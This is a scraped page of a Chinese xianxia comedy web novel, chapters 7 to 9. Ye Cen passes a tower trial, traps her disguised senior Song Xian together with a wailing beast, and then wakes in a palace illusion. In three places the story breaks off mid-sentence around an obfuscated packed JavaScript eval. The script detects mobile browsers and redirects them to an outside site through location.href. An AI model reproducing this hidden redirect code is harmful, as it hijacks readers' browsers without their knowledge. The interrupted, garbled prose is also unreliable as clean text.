门内大比在即,短短三个月,她不可能得到非常快速的提升,当然也没指望一举就能被选为亲传弟子,可也不想早早地被淘汰,以至于一点经验都积累不到。 因此,她把心思都放在钻研符箓与阵法上,而且研究的多是束缚与防御的阵法符箓。 ——输出不够,防御来凑。 青云门的门内大比与其他门派不同,并不是让弟子们互相打擂台,而是采用个人历炼的形式,让参加大比的弟子都进浮屠塔。这样,即便无法博得头筹拜入内门,入了塔的弟子至少能得到锻炼的机会。 浮屠塔坐落在二号峰西面的侧峰上,专门关押一些魔修与大妖,平日里轻易不开,由仙人阁阁主、青云门的二长老裴无衣亲自守着。 弟子在浮屠塔中历炼,在其中的一言一行师尊们都看得见。各阁的长老就是凭借弟子们的表现,决定是否收其为亲传弟子。 当然,若是没有合眼缘的,有些长老便干脆不在这一年收弟子了,只好等下一轮。 譬如裴无衣长老,就从没遇到过合眼缘的,因此到现在,一个亲传弟子都没有。 除此之外,长崖阁是掌门居所,秦峥成了掌门之后,已经不收徒了;希逢阁的谢礼长老有三名亲传弟子,两男一女;云汉阁有三位师兄;六长老付怀素是个女子,只收女弟子,因此月帔阁上阴盛阳无,如今只有五位师姐。 再有就是宋显所在的尘中阁了。 不过大家都觉得,今年想入尘中阁还是没戏,因为云何意长老还在外头云游,没回来呢。 大比当天,星垣阁一众弟子队伍浩浩荡荡,向二号峰去。 领队的还是叶岑的一个老熟人,秦言。 秦言也瞧见叶岑,笑着走过来,正要和她打招呼,瞧见她身后背着个大包袱,笑容一僵:“怎么不藏进芥子囊中?” 修士随身携带芥子囊,不论多大的东西,藏进芥子囊后,便小如芥子,十分方便携带。 叶岑毫不在意地解释:“不方便藏。” 确实不方便,因为她背着的是一小袋黑狗血。 没办法,钱都拿去买了黄纸,再去买朱砂,就有些不够用了。浮屠塔中还不知会遭遇什么,为防止朱砂不够用,她还低价买了些黑狗血,这可不方便往芥子囊里放。 秦言没多问什么,因为他甫一走近叶岑,就在她身上闻到了淡淡的狗血味。 秦言:“……” 难怪都没什么人愿意和她一起走,亏他在前头看见,还以为叶岑被大家孤立了。 秦言好涵养,没说什么,只道:“小师妹第一次进浮屠塔,不必太紧张,若是遇上险情,捏碎魂玉即可。” 浮屠塔九百八十一层,层数越高,关押着的妖魔就越难对付。虽然分配层数时,会考虑弟子本身的修为实力,但难免有弟子贪功冒进,或是塔中出现意外情况,因此进浮屠塔前,给每位弟子都发了一块魂玉。 魂玉中大概有一个小型传送阵法,一旦捏碎,便会触发阵法,将人安全带出浮屠塔。 叶岑点点头。 这个不必等秦言说。她不服输,但更是贪生,为了防止出现意外,她还偷偷多拿了一块魂玉,现在腰间挂了一块,芥子囊中还藏了一块。 叶岑瞧着秦言,他身姿绰约,又待人亲厚,因此脸上总是带着三分笑意,瞧着其实很是出众。 “秦师兄怎么没报名参加门内大比?” 她觉得,秦言若是参加了,一定能被选中。 秦言却笑道:“长青长老于我而言,如师如父,我就待在星垣阁,也很好。” 叶岑不说话了。 人各有志。秦言自己都这么说了,她也没什么好说的。 转眼间,他们到了二号峰西侧。 浮屠塔气势恢宏,高耸入云,塔前早有一人在等候。 秦言带着一众弟子走上前去,先向那人行礼:“裴长老。” 修士修道到这种程度,便不太看得出年龄。裴无衣瞧着很是年轻,眉是剑眉,一双眼闭着,但叶岑觉得,应当是也是一双星目。剑眉星目的长相,很是英气的,偏偏他下颌线分明,给他周身添上一丝冷峻气质。 裴无衣立于浮屠塔前,手中长剑拄地,闻声睁开眼,眼神很是犀利。 方才还叽叽喳喳的一种参选弟子们立刻噤了声。 要说青云门七位长老当中,大家最怕的其实不是的掌门秦峥,而是二长老,裴无衣。 因为秦掌门只是不苟言笑,而裴长老,则是杀气腾腾啊! 据说他是以一柄剑化形后入的道,身为一把剑,没有七情六欲,成日里就是修道、修道、修道。又因为是从古战场上化的形,周身都萦绕着一股杀伐之气。 大家纷纷觉得,若是惹恼了秦掌门,或许会被罚去抄门规;可若是得罪了裴长老,只会被削成渣渣。 好在交涉的事交给秦言,裴无衣只是点了点头,而后退到一边,只轻轻一抬手,刹那间,天空中千万道剑光,光点从天幕中垂下,落到地面。 徒手起剑阵,浮屠塔不开,他们是从裴无衣的剑阵中入塔的。 弟子们挨个踏入剑阵当中,叶岑也固定一下肩上背着的黑狗血,同秦言点了点头,抬脚踏上去。 她站得同秦言有些近,也就同裴无衣有些近,路过裴无衣身边时,忽然察觉到一道视线落在自己身上。 叶岑循着视线去看,正是裴无衣。 他一双眼望着她,又好像透过她望着别的什么,忽然鼻子动了动,眉头皱了起来,微不可查地后退了一步。 叶岑:……裴长老对不起,下次装黑狗血我尽量找密封的袋子。 叶岑没来得及说什么,下一刻,剑阵银光大盛,她被送进了浮屠塔。 叶岑先前打听过,浮屠塔闯关,能力越低,层数越低。但星垣阁弟子好歹有些修炼底子,一般被送进浮屠塔,都是十层起步。 毕竟浮屠塔中层数越高,难度越大,十层以内关着的,其实连妖都称不上,顶多算是兽。 大殷当中多异兽,很多都是头脑未开化的,空有一身蛮力,智慧几乎没有。 稍微有点水平的修士遇上了,一般都是以力克之。 叶岑没办法以力克之,但自问有符箓阵法加持,也算有水平的修士。 因此,她自信满满。 少顷,周身剑光淡去,叶岑睁开眼,发现自己被送到了…… 三层。 叶岑:“?” 通俗地讲,就是辣鸡中的辣鸡。 第三层极目望去,是白茫茫一片的雪原。 叶岑下意识地打了个哆嗦,一时分不清冷的到底是她的身体,还是她的心。 没关系的。叶岑在心中安慰自己,就当是练手,提前找找手感也是好的。 第三层的妖兽叶岑听说过,是在宋显的那本《大殷异兽百科全书》中看到的。 传说上古有神龙,作乱洪荒,以至生灵涂炭。后来天罚罪龙,斩其龙角,龙角落入大殷,久而久之,化作巨兽,成日为它主人鸣冤,被称为不嗔兽。 之所以被关进浮屠塔来,据说是因为它四处游荡,整日鸣冤,有一天游荡到青云山下来了。 那时青云门的开山老祖正在青云山开山——字面意义上的开山,乍然瞧见一只通体雪白又体态滚圆的毛茸茸,老祖堂堂七尺男儿,对这种可爱的东西根本就没有抵抗力!就将它收服带在身边,当做宠物。 谁知这个不嗔兽实在太能嚎叫了,不论月圆月缺,不论晴雨寒暑,老祖开山,它哀嚎,老祖睡觉,它还是哀嚎。再深的感情,也要消磨在这日复一日的哀嚎当中了。于是老祖当初开完青云门的二号峰,去向当时在世的一位大能求了浮屠塔,把它关了进去。 是的,浮屠塔最闻名于世的功能,其实不是禁锢妖魔,而是隔音。 叶岑:“。” 她看完对这个异兽的介绍,很难用人类的语言准确地形容出自己的感受,愣了许久,才后知后觉冒出个第二反应——这本书到底是靠什么吸引了宋显师兄? 但是如今,被匹配到三层的叶岑心情更加复杂了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808944|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这样说起来,不嗔兽连有蛮力的异兽都算不上,啥也不会,只会吼。 匹配到这么一个战五渣异兽,叶岑一时不太清楚到底是异兽比较惨还是她比较惨。 不嗔兽喜水,但是第三层的雪原虽有河流,却是很长一条,范围并不好确定。 但是叶岑并不慌。 入了浮屠塔,第三层的地图就自动悬浮在她的眼前。她根据地图,最终来到河流下游某一处—— 无他,主要是因为那地方有一棵歪脖子树,有枝无叶,又高又粗,正好挡风。 叶岑爬上歪脖子树,找了个大枝丫,坐下打量四周。 她并不着急。 这会儿四周围寂静得很,说明不嗔兽并不在附近。可要自己去找,一头扎进这不知有多大的雪原里,也是不现实的。 叶岑在歪脖子树上望下去,树枝横斜出去的地方,正下方就是一条河,静水流深,表面看着平静,水底下还不知藏着什么东西。她没有渡河的工具,要到河对岸去估计是不可能的了。 那么阵法就只能画在河的这边。 叶岑挂在树杈上观察了一阵,在心中打好个样,就又爬下树,沿河走出一段距离,开始慢吞吞地画起阵法来。 她画了许多缚灵阵—— 在过去的三个月里,叶岑大部分的时间都用来研究那本《鬼画符》。这么长时间钻研下来,她不得不承认,那本书真的有点东西。 当然,叶岑也发现,她或许真的是个修符术的天才,因为这三个月来,不论是画符箓还是阵法,她的进步都可以用突飞猛进来形容。 她画好阵法,又来到阵法中间的空地上,用几张聚灵符并多余的狗血,摆了个简单的聚灵阵。 聚灵阵聚灵吸引不嗔兽,缚灵阵缚灵困住不嗔兽,简直完美。 做完这一切,她又回到歪脖子树下,爬上树,这次躺下了。 叶岑心里门清,找不嗔兽是不好找的,但是异兽化形,最需要的就是灵气。不嗔兽虽然已从龙角化出兽形,可喜爱灵气的根本习性并不会发生改变。那么,接下来只要守株待兔便好了。 雪原之上,一片天光明澈,亮得甚至有些刺眼。 叶岑想了想,从芥子囊中取出一张护身符撰在手里,放心地闭上眼睛养神了。 说是闭目养神,实际上叶岑也不可能真的睡过去。 她的内心还有些困惑。 即便引来了不嗔兽,要做到哪一步才算通关呢? 毕竟不嗔兽就算是个异兽,好歹也是上古真龙的龙角所化,天地间只有这么一只。况且它虽然成日哀鸣,可实际上除了呜呜渣渣吵闹些,并没有做过什么伤天害理的事。 再说,不嗔兽还是老祖曾经的宠物呢,总不能杀了才能算通关吧! 正这么胡思乱想着,阵法那边有了动静。 叶岑大喜,爬下树来到阵法前,瞧见的却不是不嗔兽,而是一个人。 一个穿一身黑衣的男人,脸上还戴了个面具,遮住半张脸。 叶岑愣了愣。 难道塔中无岁月,这么长时间下来,不嗔兽又从兽形化出人形了? 但是不对—— 叶岑瞧着阵法中央被困住的黑衣男子,忽然觉得这人有点眼熟。 虽然面具遮了半张脸,但是这眼睛,眼中充满了不屑与鄙夷,不正是宋显的眼睛吗? 这嘴巴,一对唇薄而红润,最重要的是不悦的情绪就挂在了嘴角,不正是宋显的嘴巴吗? 这下颌骨,棱角分明,不正是宋显的下颌骨吗? 这什么奇怪的换装游戏啊? 叶岑太过惊诧,以至于嘴巴动得比脑子快,脱口而出:“宋师兄?” 黑衣男子被困在阵法中出不来,闻声目光一凛:“谁是宋师兄?” 叶岑:“?” 不是,难道你换了一身黑衣,又遮住了半张脸,就不是宋显了吗? 叶岑不由得想起追杀她上青云山的那些杀手—— 所以大家为什么都觉得,拿面具遮住半张脸就不会被人认出来啊!? 叶岑耐着性子道:“你难道不是尘中阁的……” 话说一半被打断。 黑衣男子冷哼一声:“宋显?那个年少成名难逢敌手的青云门首徒?你骂谁剑修呢?” 叶岑:“……” 确定了,这人就是宋显。 8. 第 8 章 宋显是特意选在这个时候进浮屠塔的。 别说魔族那边来了人让他救戚滟,本来,他也需要进一趟浮屠塔——在裴无衣眼皮子底下进,还不能被发现的那一种。 这可是有点难办的。 裴长老以剑化形入道,是大殷之中前无古人的第一人,他对天地灵气的感知是极其细微的,若是在平日,浮屠塔中有任何轻微的异变都别想躲过他的眼睛。 可今日不同,门内弟子试炼,浮屠塔大开,那么多弟子同时进了塔,势必会在一定程度上干扰裴无衣。 这也给了宋显一个机会。 宋显就是奔着叶岑来的。 上次在小涯峰顶见面时,他就感觉到了,此人丹田形如漏斗,身上的灵气不稳定,跟在她身边,最不容易被察觉。 况且,他还要借她之手,替他做一些事情。 但是他没想到,三个月未见,此女在阵法的修习上,还真有了一定的造诣,画出的缚灵阵,真能将他困住了。 更要命的是,她似乎识破了他精妙的伪装,将他给认出来了。 这可不太妙。 宋显觉得,敌不动,我还是先不动。 况且在这阵法中,除了眼睛和嘴,他确实也暂时动弹不得。 于是他就这么看着白涟漪。 叶岑也正看着宋显。 她的视线与宋显的对上,眨巴眨巴眼,又眨巴眨巴眼。 片刻之后,脑中忽然电光火闪。 她悟了。 青云门是五绝之一,是大殷的大宗门,长老们选亲传弟子,当然不可能只看能力。除了能力之外,心性想必也是十分重要的。故而派出宋显,来到试炼当中,故布疑阵,来考验他们的心性。 难怪!难怪宋显不穿校服,反而从头裹到黑,脸上挂一个妖艳贱货的面具,还要满面阴鸷! 叶岑不由得在心中感慨,宋显不愧为青云门首徒、尘中阁唯一弟子,这演技实在是高超啊! ——就是道具准备得差了些。 叶岑明白了这些,还能怎么办?当然是陪他演戏啊! 叶岑从前还是小宫女时,就为了宫斗磨炼演技,可惜的是还没来得及施展拳脚,就让贵妃抓去赏赐了一丈红。 而如今,这一身的演技终于有了用武之地! 叶岑眼睛亮了亮,看着宋显。 一时间四目相对。 叶岑猛然倒抽一口气,面露惶恐:“你好凶!你该不会是魔族吧!” 她倒退两步:“你一个魔族,潜入我们青云门的浮屠塔有什么目的?” 宋显呆了呆:“我……” 叶岑一脸视死如归:“不管你有什么目的,今日你遇上了我,我就算是拼上这条命,也不会让你得逞的!” 宋显一脸错愕。 但是在那半张面具之下,叶岑觉得,还藏着惊讶、感动与赞赏。 宋显果真感动,他微微睁大了眼,道:“你——” 后面的话卡在喉咙里没说下去。 叶岑觉得他的戏有点过,这眼睛睁得未免太大。 顿了顿,又觉得这眼神不对劲。 难道宋显是嫌她戏过了? 好像也不是。 仔细一看,宋显这惊诧的眼神其实并没有聚焦在她身上,而仿佛是看着她身后啊! 叶岑下意识地回头去看,人却还在戏里,台词没刹住,道:“你不要……” 话说到一半忽然一顿。 下一瞬,声音忽然变得高亢,成了个上扬的声调:“你不要过来啊啊啊啊啊啊啊啊!” 叶岑瞧见,远处一只圆滚滚的肉球上叠着一个小肉球,大肉球中伸出四根修长的似乎是四肢的东西,一对上肢在空中张牙舞爪地挥动着,一对下肢却抓着地,正一边嚎哭,一边向她与宋显的方向飞速奔来。 叶岑的尾音还没落下,下意识地后退几步。 身后的宋显眼疾嘴快,道:“你别——” 已经迟了,叶岑一只脚踏入阵法中,只觉得后背贴上一个胸膛,前胸贴后背地和宋显一起,被困在了缚灵阵中。 叶岑:“……” 宋显:“……” 叶岑张了张嘴。 宋显很有预见性地抢白道:“闭嘴。” 叶岑闭不上嘴,她的声音里都带上了惊慌,但被宋显一提醒,已经算得上是克制:“那到底是个什么东西?” 身后沉默了一阵。 片刻后,宋显道:“不嗔兽。” 叶岑:“?” 不嗔兽叫声聒噪,越跑越近,叶岑终于将它的全貌看清了。 那是一个,肥得已经接近肉球的,通体没有一根毛的,只有头顶飘着几根稀疏毛发的,长脚猴子。 叶岑不敢置信:“你说那是什么?” 宋显:“不嗔兽。” 叶岑:“不嗔兽?” 宋显:“……不嗔兽。” 叶岑:“不嗔兽?!” 叶岑满脑子都是震惊—— 不嗔兽长这样?那当年老祖为什么会觉得这么个玩意儿可爱,还要把它带在身边做宠物啊!? 眼见着不嗔兽越来越近,嚎叫声也越来越大声,叶岑却被缚灵阵困着,动弹不得。 她的后背就贴在宋显的胸膛,这样的接触,她感到宋显虽然也一动没动,却分明在暗暗使劲,试图挣脱阵法。 良久,无果。 宋显咬牙切齿道:“真是牢固啊。” 叶岑:“谢谢。” 宋显恶狠狠:“不是夸你!” 叶岑:“……” 大师兄换上黑衣之后,脾气也随之变坏了。 但是很快,叶岑就发现了不对劲—— 虽然不嗔兽平日里就呜呜渣渣,但是此刻,它的嚎叫声里,分明就充满了恐惧吧?它怕什么?难道是她与宋显吗?若是如此,它应当往反方向跑才对啊,怎么会反而惊慌失措地奔向他们呢? 叶岑心中忽然有了不好的预感,开口喊宋显,声音里都发颤:“宋师兄……” 宋显还在和缚灵阵较劲,但是不忘自己正在角色扮演,入戏很深。 “说了我不是宋显。”他道,“我叫封离。” 叶岑从善如流:“封师兄,你有没有发现……” 宋显还在纠正她的错误:“我是魔族,你是青云门弟子,哪个是你的师兄?” 叶岑:“这不是重点啊!!!重点是你不觉得这不嗔兽跑得这么惊慌,是因为有东西在追它吗?” 下一瞬,百米开外的厚雪当中,忽有一道巨大的银色影子拔地而起,足有几丈高,遮天蔽日,吼声震天。 叶岑:“卧卧卧卧卧——” 她想爆一句粗口,但不知是被白涟漪这具身体限制的缘故,还是因为太害怕了,后头的话说不出口。 宋显眼皮也不抬一下:“我知道。” 叶岑:…… 不你根本不知道! 那个追着不嗔兽的巨兽,那他娘的是白矖啊! 传说中女娲大神时期就有了的异兽,介于蛇与龙之间的白矖啊! 它追着不嗔兽,必然是因为感受到了不嗔兽是龙角所化,所以想吞了它,以求从龙化蛇。 但是,这里才是浮屠塔的第三层啊!!! 第三层为什么会有白矖啊??!! 叶岑一惊慌,声音都劈了叉:“宋宋宋宋宋师兄……” 紧要关头,宋显也无暇纠正叶岑对他的称呼。 叶岑听到身后之人似乎是深吸了一口气,开口竟然是安抚:“不慌,我在想办法。” 叶岑犹疑道:“但但但但但但是……” 宋显瞬间耐心耗尽:“闭嘴。” 叶岑:“……” 但是不嗔兽就要冲到跟前了呀!而且她画的阵法—— 宋显也不好受,他实在是低估了白涟漪列阵的本事,此刻与阵法僵持着,额头上都沁出了汗珠。 宋显咬咬牙,更卖力地调动体内灵气。 偏偏白涟漪还在他耳边呜呜渣渣,而不嗔兽呢,也在一边奔向他们,一边呜呜渣渣。 宋显一时管不住不嗔兽,只好管一管白涟漪:“你能不能安静一点?” 叶岑为难:“我我我我我……” 宋显做出退让:“至少别结巴着说话。” 叶岑道歉:“对对对对对不……” 宋显:“……算了。” 千钧一发之际,眼见着不嗔兽就要掠到眼前,阵法忽然有了一丝松动。 能动弹了! 宋显心下一松,将叶岑往身后一捞。 叶岑惊惶道:“别——” 宋显并不理会她。此刻两人前后对调,正是他大展拳脚的时候! 然而宋显的表情忽然一滞—— 他发现,自己再一次被定住了。 同一时间,不嗔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808945|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽冲到了阵法前。它大概也察觉到了宋显与叶岑的神情不太对劲,这时候想要刹住脚步,却已经迟了,一双长腿在雪地上徒劳地蹭着,滑进了阵法当中。 “噗”的一声,不嗔兽在前,宋显在中间,叶岑在后面,两人一兽如同叠罗汉一般,再次动弹不得了。 宋显只来得及伸出右手按住了不嗔兽的头顶,防止它几乎秃顶的脑袋撞在他的胸口上。 叶岑:“……” 宋显:“……” 不嗔兽:“……” 不嗔兽:“呜呜哇哇噫噫呜呜嗷嗷哇哇!!!” 叶岑弱弱的声音在身后响起:“其实我刚才,就是想说,为了防止单个阵法困不住不嗔兽,我在画缚灵阵之前,还打了个草稿,刻意安排了每个缚灵阵的位置。” 宋显心中已然有了答案,但还是不死心:“所以……” “所以,”叶岑羞赧道,“将每个缚灵阵的中心连接起来,又是一个更大的缚灵阵。若是不嗔兽的挣扎破坏了小阵法,大的阵法便会生效了。” 叶岑被宋显捞到了身后,避免了和不嗔兽的亲密接触,但是她瞧得见宋显与不嗔兽的姿势,此时还心有余悸,发自内心地感恩道:“封师兄,谢谢你。” 宋显:“……都说了不是你师兄。” 叶岑想了想:“封……兄?” 宋显:“……” 宋显:“闭嘴吧。” 叶岑:“行。” 不嗔兽:“呜呜哇哇噫噫呜呜嗷嗷哇哇哕哕——” 宋显咬牙切齿:“你也闭嘴。” 不嗔兽:“……嘤。” 但是最大的困境还没有解决,那巨大的银色白矖还在以极快的速度向他们游过来啊啊啊啊! 叶岑觉得,她的头皮都要炸了。 缚灵阵能困住不嗔兽,难道也能困住白矖吗?可是白矖有那————么大,那————么长,根本就是缚灵阵的好几倍啊!怎么可能困得住啊! 叶岑心下感到绝望,右手按着腰间挂着的魂玉—— 方才宋显使得阵法有片刻的松动时,叶岑就趁着这个空隙将右手移到魂玉上了。 若是实在没有法子,那为了保命,也只能捏碎魂玉,退出大比了。 可是连第三层的试炼都通不了关,叶岑也不晓得自己会不会被逐出青云门。 宋显却不再说话,一双眼紧紧盯着向他们冲来的白矖,目光闪也不闪,不知有什么打算。 犹疑间白矖已经掠到了阵法跟前,它巨大的脑袋高高立起,张开血盆大口,眼见着就要将两人一兽一口吞下。 叶岑脑中一白,只听得不嗔兽一声哀嚎,然后她恍惚觉得,脚下的阵法,似乎再一次松动了。 霎时间,大地震颤,天旋地转,慌乱中有人拽住了她的胳膊,扶着她站稳,道:“走了。” 通关了! 实际上她也不必走,浮屠塔有独特的传送机制,弟子通过一关试炼之后,会重新考核弟子的能力,并适当参考弟子在这一关中的表现,自动将其传送到下一阵。 叶岑恍了恍神,这才觉得这世界的声音重新回到她的感知当中来。雪崩的声音殷殷若雷,还有白矖愤怒的嚎叫声,以及不嗔兽凄厉且满含着委屈的悲悯声。 叶岑猛然瞧见,宋显一只手扶着她,另一只手上,赫然拽着一根毛! 叶岑:“???” 她去看不嗔兽,不嗔兽本就不富裕的头顶,显得更加的凄凉了。 叶岑:“……” 浮屠塔的传送阵也不知是怎么种的,叶岑通了关,浑身就罩上一层幽微的蓝光。 那边白矖被大地的震颤短暂地一惊,这会儿已经回过了神来,眼露凶光地又想扑过来。 而变得更秃了的不嗔兽还在一边:“呜呜哇哇噫噫哕哕哕!” 一片兵荒马乱当中,叶岑脑海里一道灵光闪过,忽然想明白了。 正如她先前所想的,不嗔兽上天入地只此一只,若是杀了它才能通关,未免暴殄天物。那么,想要通关,便只能从不嗔兽身上拿到凭证,证明自己确实战胜了它。 而这凭证便是——叶岑看了看宋显手上抓着的那根毛——她好像明白,为什么不嗔兽是一只毛发稀疏的长脚猴子了。 或许,丑陋如不嗔兽,曾经,也是个拥有者浓密秀发的毛茸茸小兽呢! 但是这也解释不了为什么龙角变出来的异兽,会长成猴子的样子啊!!! 9. 第 9 章 叶岑醒来的时候,发觉自己被挂在树上。 她觉得自己腰酸背也痛,尤其是脖子的地方,格外酸胀。 ——她是为什么这么酸来着? 叶岑正茫然,下头有个尖锐的男声喝道:“你还在这里做什么呢?选秀马上就要开始了,你还在这里爬树?” 叶岑还愣愣的,伸手揉了揉肉后脖颈,迟钝地回忆起来了,她好像前些日子才探听到皇上的喜好,弄到一把大宝剑,如今正埋伏在御花园皇上的必经之路上,等着同他偶遇。 叶岑看了看自己空空如也的双手,发愣。 她的大宝剑呢? 下头尖锐的男声瞬间高八度,声音里都带上愠怒:“还在这里发呆,误了时辰,当心掉了脑袋!” 是个老太监。 能够参与选秀的秀女是从世家中挑选的良家子,叶岑自有记忆起,就是后宫一个籍籍无名的小宫女,连自己的爹妈是谁都不知道,按说是没资格参与选秀的。 叶岑想,或许是自己手段好,从哪里搞到了冒名顶替的机会。 无所谓,反正选秀也是为了宫斗,御花园偶遇也是为了宫斗,只要结果是可以参加宫斗,过程就没那么重要。 反正选秀也不怕,毕竟她为这宫斗准备了很多年,琴棋书画,十八般武艺,样样精通。 叶岑于是从树上爬下来,站到老太监的跟前,一副低眉顺眼的样子。 老太监赶时间,也没同她计较,两人一同往秀女集中的地方走。 到了的时候,已经有许多秀女在等候,三三两两地聚堆,正在“姐姐”“妹妹”地互相恭维着。 老太监白眼一翻,骂道:“还有闲心在这里多话,一会儿上了殿前,表现得不好,就要被赶回家去,到时候,有的是时间让你们说闲话!” 秀女们顿时噤了声,自动排成两列。 秀女们的总人数是单数,叶岑成了多出来的那个,老实地跟在队伍的最后面。 去殿前的路却很长,还要过长长的宫巷。 叶岑觉得这宫巷比平日里走的都要长些,她走在最后面,莫名觉得似乎有双眼睛正盯着自己的背后。 心里毛毛的,忍不住回头看一眼,仿佛瞧见巷口闪过一道翠蓝色的影子,再要仔细看,却什么也没有了。 老太监仿佛背后长眼睛,细声骂道:“不要东张西望!” 叶岑赶紧把头低下,走着走着,却觉得背后的注视感更强了。 但是刚刚被老太监凶过,叶岑不敢再回头确认,只好垂着头继续往前走。 终于走出了宫巷,就要跟着队伍转弯的时候,却被人从身后一捞,捞回了巷子里。 叶岑心下一惊,在开口叫出声之前被人捂住了嘴巴,然后她瞧见一个人的脸。 剑眉,星目,薄而红润的嘴唇,棱角分明的下颌骨。 是宋显。 叶岑愣了愣,重新想起来了。 她得了大宝剑,还没来得及偶遇皇上,就被最得宠的贵妃赐了一丈红。谁知大宝剑中生了剑灵,将她带到修仙的异世界,让她成了白涟漪,此刻正在参加青云门的门内大比,力争从门内弟子再升一级,成为亲传弟子。 她还记得不嗔兽被拔毛的时候发出的凄厉哭声,也记得宋显拔下那根毛时候的冷酷无情。 但是为什么,浮屠塔第三层通关之后,她竟然回到了前世的宫廷,成为了一个秀女啊!? 叶岑后退一步,打量眼前的宋显。 坦白讲,宋显的五官很是疏朗,配上这样一身服饰妆容,非但不显得突兀,反而瞧着是个大气明艳的美人。 只是—— 为什么宋师兄面具也不戴了,还穿着一身跟她一样的桃粉色的齐胸秀女裙啊?! 宋显面无愧色,仿佛穿齐胸裙寻常得如同吃饭睡觉,甚至还在额头上点了花钿! ——好心机!这样去参加选秀,皇上岂不是一眼就先瞧见他! 叶岑将目光往下移,视线一顿。 宋显方才捂她嘴用的是左手,右手一直垂放着,指尖还滴着血。 察觉到她的目光,宋显将右手往身后一藏:“我将祂杀了。” 顿了顿,严谨地补充:“其实还是让祂跑了,不过我割开了祂的七寸,肯定是活不成了。” 叶岑愣了愣,反应过来他说的应当是白矖。 说起白矖,她也正纳闷:“按理说,白矖这种程度的异兽,不应当出现在第三层啊。” 宋显似乎是愣了一下:“是啊,白矖是我不小心带过去的。” 叶岑:“?” 宋显:“我们俩当时打着架,打得比较激烈,就……它是女娲开天时就有了的异兽,当年裴无衣抓的它,应当是关在三百二十七层。” 宋显打量四周:“对,我们现在就是在三百二十七层。” 叶岑:“??” 三层通关后到了三百二十七层,叶岑简直不敢相信。她怀疑浮屠塔重新测算个人能力的时候,把宋显的修为也加到她头上去了! 叶岑的声音陡然拔高:“多少层?” 宋显要去捂她的嘴巴,已经迟了。 宫巷口顿时罩过来一个巨大的黑色影子,是明明应该已经走远了的老太监。 他叉腰看他们,一脸凶相:“还不快走,在这里做什么呢?” 叶岑张了张嘴,还没来得及说什么,宋显道:“公公,奴方才不小心扭伤了脚,因此叫这位妹妹帮奴揉揉脚。” 说着迎上去,往公公手里塞了一锭银子,脸上绽开一个巨大的笑:“不是有意耽搁的,公公别往心里去。” 叶岑:……?? 你为何如此熟练? 两个人就又回归了秀女的队伍,还是走在最后头。 叶岑心中一团迷雾,偷瞧了眼走在最前面的老太监,压低声音喊宋显:“宋……” 宋显眄她一眼。 叶岑:…… 她差点忘记宋显此刻还顶着魔修封离的身份在这里玩角色扮演了。 先前的面具能遮住半张脸,尚且能让人将他认出来。所以宋显他到底为什么会觉得,画一个稍微女气一点的妆容,就可以大喇喇地称自己不是宋显? 但是叶岑从善如流,马上改口:“封大哥。” 宋显面色稍霁。 叶岑:“封大哥,杀了白矖真的没问题吗?” 想想人家不嗔兽,虽然又废柴又聒噪,但到底是濒临灭绝的珍惜异兽,为了防止它灭绝,浮屠塔设置了十分人性化的规定,拔下它身上的一根毛就算通关。 白矖比起不嗔兽,外表又好看,威风凛凛的,战斗力还爆表,只会更加珍贵吧! 况且只是为了试探弟子的心性,就随便把一只上天入地独一只的异兽给杀了,你们青云门这也太暴殄天物了吧! 叶岑思绪飞出去老远,心中不住地想,难道我就是传说中的气运之子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808946|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、天选之人,所以青云门才会不惜代价地来试探我、激发我? 噫吁嚱!这岂非主角才有的待遇吗? 是了,紫府里莫名其妙出现的神通广大的剑灵山阿、惨遭灭门却不知仇人是谁的悲惨身世、废柴却一飞冲天一举来到三百二十七层的神奇际遇,这不是主角光环还能是什么? 宋显看她想入非非的一张脸,奇怪道:“有没有问题我都杀了,怎么样?我们魔修就是这样杀蛇不眨眼的啊!” 叶岑:……大哥要不要这么贯彻你的人设? 顿了顿,又觉得不对劲。 叶岑:“那白矖都死了,我们也没通关啊。” 宋显:“谁说白矖死了就能通关?这一层的守关人是一只艳鬼。白矖?那只不过是她的坐骑而已。” 叶岑眼光一凛。 她想,她已经见过那只艳鬼了:“她是不是穿一身翠蓝色的衣裳,身姿还有些纤瘦窈窕?” 宋显有些意外:“她竟然这么早就来找你了?” 叶岑想起方才走过宫巷时那种被窥视的感觉,顿觉背后一寒,毛骨悚然。 宋显察觉到她的悚然,安抚道:“没关系的。那只艳鬼修为也就那样,没什么真本事,因此只能走蛊惑人心的路子,编造一个幻境,将人骗进去杀。” “那个幻境,据说会是那个人最渴望的世界。”宋显探头探脑四处打量,“这应当是为你编织的幻境,我还没见过这样幽深又压抑的建筑样式——这是什么地方?” 